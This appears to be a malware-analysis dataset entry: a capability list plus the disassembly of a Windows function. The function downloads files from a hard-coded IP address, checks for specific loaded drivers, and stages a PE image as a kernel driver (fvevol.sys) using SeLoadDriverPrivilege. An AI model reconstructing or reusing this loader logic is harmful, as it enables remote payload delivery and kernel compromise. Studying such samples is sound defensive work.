Function at 0x140007b20
Capabilities:
Check if file exists
Download url
Get file attributes
Get file size
Get system information on windows
Install driver
Make suspicious ntquerysysteminformation call
Parse pe header
Persist via windows service
Read file on windows
Receive data
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xbe0]
sub rsp, 0xce0
mov rax, qword [0x140073060]
xor rax, rsp
mov qword [rbp + 0xbd0], rax
xor r14d, r14d
mov dword [rbp + 0x238], r14d
mov ebx, r14d
mov dword [rbp + 0x1c0], r14d
lea r9, [rbp + 0x1c0]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140007bdf
nop dword [rax + rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x1c0]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x1c0]
mov r8d, dword [rbp + 0x1c0]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140007b90
mov r13, 0xffffffffffffffff
test eax, eax
js 0x140007cbf
mov edi, r14d
cmp dword [rbx], r14d
jbe 0x140007cbf
nop word [rax + rax]
mov esi, edi
imul rax, rsi, 0x128
movzx ecx, word [rax + rbx + 0x2e]
add rcx, rax
lea rdx, [rbx + 0x30]
add rdx, rcx
mov qword [rbp + 0x200], r14
mov qword [rbp + 0x210], r14
mov qword [rbp + 0x218], 0xf
mov r8, r13
inc r8
cmp byte [rdx + r8], r14b
jne 0x140007c34
lea rcx, [rbp + 0x200]
call fcn.140002810
lea rcx, [rbp + 0x200]
cmp qword [rbp + 0x218], 0x10
cmovae rcx, qword [rbp + 0x200]
lea rdx, str.unirsdt.sys
call fcn.140020974
test eax, eax
je 0x14000804d
mov rdx, qword [rbp + 0x218]
cmp rdx, 0x10
jb 0x140007cb5
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007cb0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b902
call fcn.140017930
inc edi
cmp edi, dword [rbx]
jb 0x140007c00
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r12, r14
mov rbx, r14
mov dword [rbp + 0x1c0], r14d
lea r9, [rbp + 0x1c0]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140007d4f
nop dword [rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x1c0]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x1c0]
mov r8d, dword [rbp + 0x1c0]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140007d00
test eax, eax
js 0x140007e2f
mov edi, r14d
cmp dword [rbx], r14d
jbe 0x140007e2f
nop dword [rax]
nop word [rax + rax]
mov esi, edi
imul rax, rsi, 0x128
movzx ecx, word [rax + rbx + 0x2e]
add rcx, rax
lea rdx, [rbx + 0x30]
add rdx, rcx
mov qword [rbp + 0x200], r14
mov qword [rbp + 0x210], r14
mov qword [rbp + 0x218], 0xf
mov r8, r13
inc r8
cmp byte [rdx + r8], r14b
jne 0x140007da4
lea rcx, [rbp + 0x200]
call fcn.140002810
lea rcx, [rbp + 0x200]
cmp qword [rbp + 0x218], 0x10
cmovae rcx, qword [rbp + 0x200]
lea rdx, str.unirsdt_temp.sys
call fcn.140020974
test eax, eax
je 0x1400080b4
mov rdx, qword [rbp + 0x218]
cmp rdx, 0x10
jb 0x140007e25
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007e20
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b908
call fcn.140017930
inc edi
cmp edi, dword [rbx]
jb 0x140007d70
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r15, r14
mov rbx, r14
mov dword [rbp + 0x1c0], r14d
lea r9, [rbp + 0x1c0]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140007ebf
nop dword [rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x1c0]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x1c0]
mov r8d, dword [rbp + 0x1c0]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140007e70
test eax, eax
js 0x140007f9f
mov edi, r14d
cmp dword [rbx], r14d
jbe 0x140007f9f
nop dword [rax]
nop word [rax + rax]
mov esi, edi
imul rax, rsi, 0x128
movzx ecx, word [rax + rbx + 0x2e]
add rcx, rax
lea rdx, [rbx + 0x30]
add rdx, rcx
mov qword [rbp + 0x200], r14
mov qword [rbp + 0x210], r14
mov qword [rbp + 0x218], 0xf
mov r8, r13
inc r8
cmp byte [rdx + r8], r14b
jne 0x140007f14
lea rcx, [rbp + 0x200]
call fcn.140002810
lea rcx, [rbp + 0x200]
cmp qword [rbp + 0x218], 0x10
cmovae rcx, qword [rbp + 0x200]
lea rdx, str.unirsdt_tem.sys
call fcn.140020974
test eax, eax
je 0x14000811b
mov rdx, qword [rbp + 0x218]
cmp rdx, 0x10
jb 0x140007f95
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007f90
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b90e
call fcn.140017930
inc edi
cmp edi, dword [rbx]
jb 0x140007ee0
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edi, edi
mov ebx, edi
mov dword [rbp + 0x1c0], edi
lea r9, [rbp + 0x1c0]
xor r8d, r8d
xor edx, edx
lea ecx, [rdi + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14000802f
nop word [rax + rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x1c0]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x1c0]
mov r8d, dword [rbp + 0x1c0]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140007fe0
test eax, eax
jns 0x140008182
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x14000826b
imul rax, rsi, 0x128
mov r12, qword [rax + rbx + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x218]
cmp rdx, 0x10
jb 0x140007cd3
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400080aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b902
call fcn.140017930
jmp 0x140007cd3
imul rax, rsi, 0x128
mov r15, qword [rax + rbx + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x218]
cmp rdx, 0x10
jb 0x140007e43
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008111
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b908
call fcn.140017930
jmp 0x140007e43
imul rax, rsi, 0x128
mov r14, qword [rax + rbx + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x218]
cmp rdx, 0x10
jb 0x140007fb0
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008178
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b90e
call fcn.140017930
jmp 0x140007fb0
xor r8d, r8d
cmp dword [rbx], edi
jbe 0x140008256
nop dword [rax]
mov esi, edi
imul rax, rsi, 0x128
movzx ecx, word [rax + rbx + 0x2e]
add rcx, rax
lea rdx, [rbx + 0x30]
add rdx, rcx
mov qword [rbp + 0x200], r8
mov qword [rbp + 0x210], r8
mov qword [rbp + 0x218], 0xf
mov r8, r13
inc r8
cmp byte [rdx + r8], 0
jne 0x1400081c4
lea rcx, [rbp + 0x200]
call fcn.140002810
lea rcx, [rbp + 0x200]
cmp qword [rbp + 0x218], 0x10
cmovae rcx, qword [rbp + 0x200]
lea rdx, str.UniFairy_x64.sys
call fcn.140020974
test eax, eax
je 0x14000854e
mov rdx, qword [rbp + 0x218]
cmp rdx, 0x10
jb 0x140008246
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008241
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b92a
call fcn.140017930
inc edi
cmp edi, dword [rbx]
mov r8d, 0
jb 0x140008190
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov edi, eax
test r12, r12
jne 0x14000b80f
test r15, r15
jne 0x14000b80f
test r14, r14
jne 0x14000b80f
test rdi, rdi
jne 0x14000b80f
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x670]
call fcn.14001ce50
lea rdi, [0x140000000]
lea rax, [rdi + 0x6b820]
mov qword [rbp + 0x670], rax
mov qword [rbp + 0x728], r12
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x750], xmm0
mov qword [rbp + 0x760], r12
mov dword [rbp + 0x238], 1
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x720], rax
mov dword [rbp + 0x71c], 0x98
mov qword [rbp + 0x678], r12
lea rdx, [rbp + 0x680]
lea rcx, [rbp + 0x720]
call fcn.14000fc40
nop
mov rax, qword [rbp + 0x670]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x670], rax
mov rax, qword [rbp + 0x670]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x66c], edx
lea rcx, [rbp + 0x680]
call fcn.14000e5b0
nop
lea rbx, str.C:666.txt
mov qword [rbp + 0x220], rbx
mov qword [rbp + 0x228], 0xa
call fcn.140015830
movaps xmm0, xmmword [rbp + 0x220]
movdqa xmmword [rbp + 0x220], xmm0
lea r8, [rbp + 0x220]
mov edx, eax
lea rcx, [rbp + 0x2a0]
call fcn.140004970
nop
lea rcx, [rbp + 0x2a0]
cmp qword [rbp + 0x2b8], 8
cmovae rcx, qword [rbp + 0x2a0]
call fcn.140015df0
shr rax, 0x20
test eax, eax
jne 0x14000b914
mov rdx, qword [rbp + 0x2b8]
cmp rdx, 8
jb 0x1400083fe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400083f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b930
call fcn.140017930
lea rsi, str.C:_smtx.dat
mov qword [rbp + 0x220], rsi
mov qword [rbp + 0x228], 0xb
call fcn.140015830
movaps xmm0, xmmword [rbp + 0x220]
movdqa xmmword [rbp + 0x220], xmm0
lea r8, [rbp + 0x220]
mov edx, eax
lea rcx, [rbp + 0x2a0]
call fcn.140004970
nop
lea rcx, [rbp + 0x2a0]
cmp qword [rbp + 0x2b8], 8
cmovae rcx, qword [rbp + 0x2a0]
call fcn.140015df0
shr rax, 0x20
test eax, eax
jne 0x14000b936
mov rdx, qword [rbp + 0x2b8]
cmp rdx, 8
jb 0x1400084af
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400084aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b94c
call fcn.140017930
lea rcx, str.http:__139.9.219.158_21sm.txt
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea rcx, str.http:__139.9.219.158_520gn.myzip
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8, rbx
lea rdx, str.http:__139.9.219.158_21sm.txt
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x140008698
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140008698
mov r8d, 1
mov rdx, rbx
lea rcx, [rbp + 0x680]
call fcn.14000e510
test rax, rax
mov rax, qword [rbp + 0x670]
movsxd rcx, dword [rax + 4]
je 0x1400085b5
mov eax, 4
cmp qword [rbp + rcx + 0x6b8], 0
cmovne eax, r12d
mov dword [rbp + rcx + 0x680], eax
test dword [rbp + rcx + 0x684], eax
jne 0x14000b860
jmp 0x1400085cd
imul rax, rsi, 0x128
mov rdi, qword [rax + rbx + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x218]
cmp rdx, 0x10
jb 0x14000826b
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400085ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b92a
call fcn.140017930
jmp 0x14000826b
lea rax, [rbp + 0x670]
add rcx, rax
mov edx, dword [rcx + 0x10]
or edx, 2
xor r8d, r8d
call fcn.14000e8e0
mov rax, qword [rbp + 0x670]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x6b0]
mov rcx, qword [rax + 8]
mov qword [rbp + 0x228], rcx
mov rax, qword [rcx]
call qword [rax + 8]
nop
lea rcx, [rbp + 0x220]
call fcn.14000fe80
mov rcx, qword [rax]
mov r8, qword [rcx + 0x40]
mov dl, 0xa
mov rcx, rax
call r8
movzx ebx, al
mov rcx, qword [rbp + 0x228]
test rcx, rcx
je 0x140008638
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test rax, rax
je 0x140008638
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
movzx r9d, bl
lea rdx, [rbp + 0xad0]
lea rcx, [rbp + 0x670]
call fcn.14000e6b0
lea rdx, [rbp + 0xad0]
lea rcx, [0x14006bc68]
call fcn.140003ac0
lea rcx, [rbp + 0x680]
call fcn.14000e420
test rax, rax
jne 0x1400086ad
mov rax, qword [rbp + 0x670]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x670]
add rcx, rax
mov edx, dword [rcx + 0x10]
or edx, 2
xor r8d, r8d
call fcn.14000e8e0
jmp 0x1400086ad
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x14006bc78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8, rsi
lea rdx, str.http:__139.9.219.158_520gn.myzip
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x1400086e7
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1400086e7
lea rcx, [0x14006bca0]
call fcn.140003ac0
jmp 0x1400086fc
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x14006bcb0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x530]
call fcn.14001ce50
lea rax, [rdi + 0x6b7e0]
mov qword [rbp + 0x530], rax
mov qword [rbp + 0x5e0], r12
mov qword [rbp + 0x608], r12
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x610], xmm0
mov dword [rbp + 0x238], 0x7d
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x5d8], rax
mov dword [rbp + 0x5d4], 0x98
lea rdx, [rbp + 0x538]
lea rcx, [rbp + 0x5d8]
call fcn.14000fc40
nop
mov rax, qword [rbp + 0x530]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x530], rax
mov rax, qword [rbp + 0x530]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x52c], edx
lea rcx, [rbp + 0x538]
call fcn.14000e5b0
nop
call qword [sym.imp.USER32.dll_GetDesktopWindow]
lea rdx, [rbp + 0x3f8]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetClientRect]
mov ebx, dword [rbp + 0x400]
sub ebx, dword [rbp + 0x3f8]
mov edi, dword [rbp + 0x404]
sub edi, dword [rbp + 0x3fc]
mov r8d, edi
mov edx, ebx
lea rcx, [0x14006bcd8]
call fcn.140003ac0
mov r8d, 2
lea rdx, str.C:FW.txt
lea rcx, [rbp + 0x538]
call fcn.14000e510
test rax, rax
mov rax, qword [rbp + 0x530]
movsxd rcx, dword [rax + 4]
je 0x14000883c
mov eax, 4
cmp qword [rbp + rcx + 0x578], 0
cmovne eax, r12d
mov dword [rbp + rcx + 0x540], eax
test dword [rbp + rcx + 0x544], eax
jne 0x14000b896
jmp 0x140008854
lea rax, [rbp + 0x530]
add rcx, rax
mov edx, dword [rcx + 0x10]
or edx, 2
xor r8d, r8d
call fcn.14000e8e0
mov edx, ebx
lea rcx, [rbp + 0x530]
call fcn.14000bc60
lea rcx, [rbp + 0x530]
call fcn.1400104d0
lea rcx, [rbp + 0x538]
call fcn.14000e420
test rax, rax
jne 0x1400088a2
mov rax, qword [rbp + 0x530]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x530]
add rcx, rax
mov edx, dword [rcx + 0x10]
or edx, 2
xor r8d, r8d
call fcn.14000e8e0
mov r8d, 2
lea rdx, str.C:FH.txt
lea rcx, [rbp + 0x538]
call fcn.14000e510
test rax, rax
mov rax, qword [rbp + 0x530]
movsxd rcx, dword [rax + 4]
je 0x1400088f3
mov eax, 4
cmp qword [rbp + rcx + 0x578], 0
cmovne eax, r12d
mov dword [rbp + rcx + 0x540], eax
test dword [rbp + rcx + 0x544], eax
jne 0x14000b8cc
jmp 0x14000890b
lea rax, [rbp + 0x530]
add rcx, rax
mov edx, dword [rcx + 0x10]
or edx, 2
xor r8d, r8d
call fcn.14000e8e0
mov edx, edi
lea rcx, [rbp + 0x530]
call fcn.14000bc60
lea rcx, [rbp + 0x530]
call fcn.1400104d0
lea rcx, [rbp + 0x538]
call fcn.14000e420
test rax, rax
jne 0x140008959
mov rax, qword [rbp + 0x530]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x530]
add rcx, rax
mov edx, dword [rcx + 0x10]
or edx, 2
xor r8d, r8d
call fcn.14000e8e0
movsd xmm0, qword [str.smtx.dat]
movsd qword [rbp + 0xac0], xmm0
movzx eax, byte [0x14006bd20]
mov byte [rbp + 0xac8], al
xor eax, eax
mov byte [rbp + 0xac9], al
movsd xmm0, qword [str.fvevol.sys]
movsd qword [rbp + 0x240], xmm0
movzx eax, word [0x14006bd30]
mov word [rbp + 0x248], ax
movzx eax, byte [0x14006bd32]
mov byte [rbp + 0x24a], al
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x24b], xmm0
mov byte [rbp + 0x25b], al
lea rax, [rbp + 0xac0]
mov qword [rbp + 0x220], rax
lea rcx, [rbp + 0xac0]
mov rax, r13
inc rax
cmp byte [rcx + rax], 0
jne 0x1400089d3
mov qword [rbp + 0x228], rax
call fcn.140015830
movaps xmm0, xmmword [rbp + 0x220]
movdqa xmmword [rbp + 0x220], xmm0
lea r8, [rbp + 0x220]
mov edx, eax
lea rcx, [rbp - 0x28]
call fcn.140004970
mov r13d, 0x37d
mov dword [rbp + 0x238], r13d
lea rcx, [rbp - 0x28]
call fcn.140005790
test al, al
sete bl
mov rdx, qword [rbp - 0x10]
cmp rdx, 8
jb 0x140008a64
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008a5f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b952
call fcn.140017930
test bl, bl
je 0x140008a80
lea rcx, str.smtx
call fcn.140003ac0
mov rsi, 0xffffffffffffffff
jmp 0x1400097d9
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x9a0]
call fcn.14001ce50
lea rdx, [rbp + 0xac0]
lea rcx, [rbp + 0x9a0]
call fcn.14000cd80
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x470], xmm0
mov qword [rbp + 0x480], rax
mov qword [rbp + 0x2c0], r12
mov word [rbp + 0x2c8], 1
mov rax, qword [rbp + 0x9a0]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x9e8]
mov qword [rbp + 0x330], rax
test rax, rax
sete byte [rbp + 0x338]
mov byte [rbp + 0x339], 0
movdqu xmmword [rbp + 0x470], xmm0
mov qword [rbp + 0x480], r12
movaps xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp + 0x220], xmm0
movaps xmm1, xmmword [rbp + 0x330]
movdqa xmmword [rbp + 0x320], xmm1
lea r8, [rbp + 0x220]
lea rdx, [rbp + 0x320]
lea rcx, [rbp + 0x470]
call fcn.1400116b0
nop
mov r15, r12
mov qword [rbp - 0x80], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 3]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x140008c57
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
mov dword [rbp + 0x1c0], 0x6400000
mov ecx, eax
call fcn.140017bc4
mov rdi, rax
mov ecx, dword [rbp + 0x1c0]
call fcn.140017bc4
mov rbx, rax
mov dword [rbp + 0x2f8], r12d
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0x2f8]
mov r8d, esi
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rbp + 0x2f8]
test eax, eax
je 0x140008c3e
cmp eax, esi
jne 0x140008c3e
mov r9d, esi
mov r8, rdi
lea rdx, [rbp + 0x1c0]
mov rcx, rbx
call fcn.140018a50
test eax, eax
je 0x140008c35
mov rcx, rbx
cmp eax, 0xfffffffb
jne 0x140008c41
call fcn.140017930
mov eax, dword [rbp + 0x1c0]
add eax, 0x19000
mov dword [rbp + 0x1c0], eax
mov ecx, eax
call fcn.140017bc4
mov rbx, rax
mov r9d, esi
mov r8, rdi
lea rdx, [rbp + 0x1c0]
mov rcx, rax
call fcn.140018a50
test eax, eax
jne 0x140008bf4
mov r15, rbx
mov qword [rbp - 0x80], rbx
jmp 0x140008c46
mov rcx, rbx
call fcn.140017930
mov rcx, rdi
call fcn.140017930
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x5a4d
cmp word [r15], ax
je 0x140008c67
mov rax, r12
jmp 0x140008c78
movsxd rax, dword [r15 + 0x3c]
add rax, r15
cmp dword [rax], 0x4550
cmovne rax, r12
mov qword [rsp + 0x58], rax
cmp dword [rax], 0x4550
je 0x140008ca7
lea rcx, [0x14006bd50]
call fcn.140003ac0
mov r15, 0xffffffffffffffff
mov qword [rbp + 0x1c8], r15
mov rsi, r15
jmp 0x1400097bf
mov ebx, dword [rax + 0x50]
mov dword [rbp - 0x70], ebx
mov eax, dword [0x14006bd5c]
mov dword [rbp + 0xab0], eax
movzx eax, word [0x14006bd60]
mov word [rbp + 0xab4], ax
movzx eax, byte [0x14006bd62]
mov byte [rbp + 0xab6], al
xor eax, eax
mov word [rbp + 0xab7], ax
mov byte [rbp + 0xab9], al
mov qword [rbp + 0x380], r12
mov qword [rbp + 0x390], r12
mov qword [rbp + 0x398], 0xf
lea rax, [rbp + 0x240]
mov r15, 0xffffffffffffffff
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140008d10
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x380]
call fcn.140002810
mov r9d, ebx
lea r8, [rbp + 0xab0]
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x490]
call fcn.1400066b0
nop
cmp dword [rbp + 0x4d8], 0
jne 0x140008d60
lea rcx, [0x14006bd68]
jmp 0x1400097a3
lea r14, [rbp + 0x4b0]
cmp qword [rbp + 0x4c8], 0x10
cmovae r14, qword [rbp + 0x4b0]
mov rbx, r12
mov dword [rbp + 0x1d0], r12d
lea r9, [rbp + 0x1d0]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140008def
nop dword [rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x1d0]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x1d0]
mov r8d, dword [rbp + 0x1d0]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140008da0
test eax, eax
js 0x140008ecc
mov edi, r12d
cmp dword [rbx], r12d
jbe 0x140008ecc
nop dword [rax]
nop word [rax + rax]
mov esi, edi
imul rcx, rsi, 0x128
movzx eax, word [rbx + rcx + 0x2e]
add rax, rbx
lea rdx, [rcx + 0x30]
add rdx, rax
mov qword [rbp + 0x340], r12
mov qword [rbp + 0x350], r12
mov qword [rbp + 0x358], 0xf
mov r8, r15
inc r8
cmp byte [rdx + r8], 0
jne 0x140008e44
lea rcx, [rbp + 0x340]
call fcn.140002810
lea rcx, [rbp + 0x340]
cmp qword [rbp + 0x358], 0x10
cmovae rcx, qword [rbp + 0x340]
mov rdx, r14
call fcn.140020974
test eax, eax
je 0x140008f4f
mov rdx, qword [rbp + 0x358]
cmp rdx, 0x10
jb 0x140008ec2
inc rdx
mov rcx, qword [rbp + 0x340]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008ebd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b958
call fcn.140017930
inc edi
cmp edi, dword [rbx]
jb 0x140008e10
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r14d, r14d
lea rcx, [0x14006bd80]
call fcn.140003ac0
mov qword [rbp + 0x2d8], r14
mov qword [rbp + 0x2e8], r14
mov qword [rbp + 0x2f0], 7
mov r8d, 0x15
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp + 0x2d8]
call fcn.14000e970
mov qword [rbp + 0x1c8], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x1c8]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140008fd7
mov bl, 1
jmp 0x14000906b
imul rax, rsi, 0x128
mov rdi, qword [rax + rbx + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
